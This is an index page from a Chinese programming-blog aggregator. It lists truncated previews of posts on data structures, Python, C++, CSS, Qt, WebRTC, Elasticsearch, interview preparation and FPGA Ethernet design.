前言前言：面试是最好的查漏补缺机会，做好面试复盘又是十分的重要。文章目录前言一. 关于复盘1. 什么是复盘（What）2. 复盘的目的（Why）3. 什么时候需要复盘（When）4. 怎么进行复盘&am…...

编程日记 2024/4/28 3:28:17

数据结构-树

1. 二叉树遍历 #include <stdbool.h> #include "stdio.h" #include "stdlib.h"typedef struct TNode *Position; typedef Position BinTree; // 二叉树类型 typedef char ElementType;// 树结点定义 struct TNode {ElementType Data; // 结点数据Bin…...

编程日记 2024/5/2 11:28:23

Python3 循环语句

本章节将为大家介绍 Python 循环语句的使用。 Python 中的循环语句有 for 和 while。 Python 循环语句的控制结构图如下所示： while 循环 Python 中 while 语句的一般形式： while 判断条件(condition)：执行语句(statements)…… 执行流程…...

编程日记 2024/5/2 13:32:50

时序数据处理中的拟合问题

对于深度学习或机器学习模型而言，我们不仅要求它对训练数据集有很好的拟合（训练误差），同时也希望它可以对未知数据集（测试集）有很好的拟合结果（泛化能力），所产生的测试误差被称为泛化误差。度量泛化能力的好坏，最直观的表现就是模型的过拟合（overfitting）和欠拟合（…...

编程日记 2024/4/28 19:58:24

[数据结构基础]排序算法第一弹 -- 直接插入排序和希尔排序

目录一. 排序的概念及分类 1.1 排序的概念 1.2 常见的排序算法二. 直接插入排序 2.1 直接插入排序的实现逻辑 2.2 直接插入排序的实现代码 2.3 直接插入排序的时间复杂度分析三. 希尔排序 3.1 希尔排序的实现逻辑 3.2 希尔排序实现代码 3.3 希尔排序的效率测试 …...

编程日记 2024/4/29 23:12:23

厚积薄发打卡Day115：Debug设计模式＜简单工厂、工厂方法、抽象工厂＞

厚积薄发打卡Day115：Debug设计模式<简单工厂、工厂方法、抽象工厂> 简单工厂定义由一个工厂对象决定创建出哪一种产品类的实例（严格意义并不是设计模式，更是一种风格） 类型：创建型，但不属于GOF…...

编程日记 2024/4/30 14:34:04

python元组

python元组文章目录python元组一、实验目的二、实验原理三、实验环境四、实验内容五、实验步骤1.创建元组2.访问元组3.修改元组4.删除元组5.索引及截取6.元组运算符7.内置函数总结一、实验目的掌握元组的用法二、实验原理 Python 的元组与列表类似，不同之处在…...

编程日记 2024/5/3 12:07:25

gcc中预定义的宏GNUC __GNUC_MINOR GNUC_PATCHLEVEL__

今天在看Linux系统编程这本书的代码的时候看到了__GNUC__，不太清楚这个宏所以去查了一下，以此记录。GNU C预定义了一系列的宏，这些宏都是以双下划线开始的，这里只讲一下__GNUC__ __GNUC_MINOR__ __GNUC_PATCHLEVEL__，完…...

编程日记 2024/5/2 14:21:31

AxMath使用教程（持续更新中）

前言这两天学了学Latex，主要是为了以后写毕业论文做铺垫，而且Latex在数学公式这一方面，要比Word方便许多，于是我就下载了一款国产的公式编辑器——AxMath。永久会员不贵，只要36元，而且软件很好用&#xf…...

编程日记 2024/5/1 12:16:43

day11 栈和队列 | 20、有效的括号 1047、删除字符串中的所有相邻重复项 150、逆波兰表达式求值

题目 20、有效的括号给定一个只包括 ‘(’，‘)’，‘{’，‘}’，‘[’，‘]’ 的字符串，判断字符串是否有效。有效字符串需满足： 左括号必须用相同类型的右括号闭合。左括号必须以正确的顺序…...

编程日记 2024/4/30 10:37:44

【前端面试】http面试整理

"一问一答"模型的协议客户端通过http请求；服务器端根据请求返回客户想要的资源；客户端接收到资源；http是什么 HTTP是超文本传输协议，是一个在计算机世界里专门在两点之间传输文字、图片、音频、视频等超文本数据的约…...

编程日记 2024/4/30 15:30:14

倒霉倒霉倒霉(传送门 bfs 三维数组递归综合运用

题目描述“啊！倒霉倒霉倒霉~”龙叔被困在一座大厦里了，可恶的瓦龙把这座大厦点燃了，他借机消灭龙叔。这座大厦有L层，每一层都有R*C个房间。熊熊火焰蔓延十分快，有的房间已经着火了，龙叔没办法通过。这时老爹…...

编程日记 2024/5/3 5:40:32

C++函数定义和调用介绍

C函数定义和调用介绍函数的意义：利用率高，可读性强，利于移植。一个C程序中主函数有且只有一个，是程序的入口，而函数（或称子函数）可以有很多。每个 C 程序都至少有一个函数，即主…...

编程日记 2024/5/2 7:51:09

手把手带初学者快速入门 JAVA Web SSM 框架

博主也是刚开始学习SSM，为了帮大家节省时间，写下SSM快速入门博客有什么不对的地方还请私信或者评论区指出只是一个简单的整合项目，让初学者了解一下SSM的大致结构项目先把框架写好，之后在填写内容项目压缩包完整的蓝奏…...

编程日记 2024/5/2 0:00:17

图搜索算法详解与示例代码

在计算机科学领域，图搜索算法是一类用于在图数据结构中查找特定节点或路径的算法。图搜索算法在许多领域都有着广泛的应用，包括网络路由、社交网络分析、游戏开发等。本文将详细介绍几种常见的图搜索算法，包括深度优先搜索（DFS&am…...

编程日记 2024/5/3 12:34:54

css如何去掉重叠部分的边框，CSS中nth-child不生效

css如何去掉重叠部分的边框 div使用负的margin，margin-right:-1px；table表格设置边框后的重叠，border-collapse: collapse CSS中nth-child不生效 <body><ul><li><a><span class"item"></span&…...

编程日记 2024/5/2 18:58:26

QT入门：计算圆面积的QT开始以及日历相关

QT入门：计算圆面积的QT开始以及日历相关使用的工具为Qt creator 如图所示的为Qt的一个基本目录，首先打开mainwindow.ui进行设计，首先是讲解日历的，可以完全不用写代码，只在mainwindow.ui即可实现。这是最后的一个成…...

编程日记 2024/5/3 10:25:36

【webrtc】MessageHandler 2：基于线程的消息处理：以PeerConnectionClient为例

PeerConnectionClient 前一篇 nullaudiopoller 并么有场景线程，而是就是在当前线程直接执行的， PeerConnectionClient 作为一个独立的客户端，默认的是主线程。 PeerConnectionClient 同时维护客户端的信令状态，并且通过OnMessage实现MessageHandler 消息处理。目前只处理一…...

编程日记 2024/5/1 22:47:12

ElasticSearch面试题2

Mapping属性详细介绍/常见的字段数据类型： 映射(mapping)︰mapping是对索引库中文档的约束信息（例如字段名、数据类型），类似表的结构约束；每个索引库都应该有自己的映射数据库一定要先创建表才能去添加数据…...

编程日记 2024/5/2 13:51:16

万兆以太网MAC设计（12）万兆UDP协议栈上板与主机网卡通信

文章目录一、设置IP以及MAC二、上板效果2.1、板卡与主机数据回环测试2.2、板卡满带宽发送数据一、设置IP以及MAC 顶层模块设置源MAC地址 module XC7Z100_Top#(parameter P_SRC_MAC 48h01_02_03_04_05_06,parameter P_DST_MAC 48hff_ff_ff_ff_ff_ff )(input …...

编程日记 2024/5/2 6:16:45

文章目录

一：CSS属性一览表

二：常用属性详解

（1）字体属性

（2）文本属性

（3）背景属性

相关文章：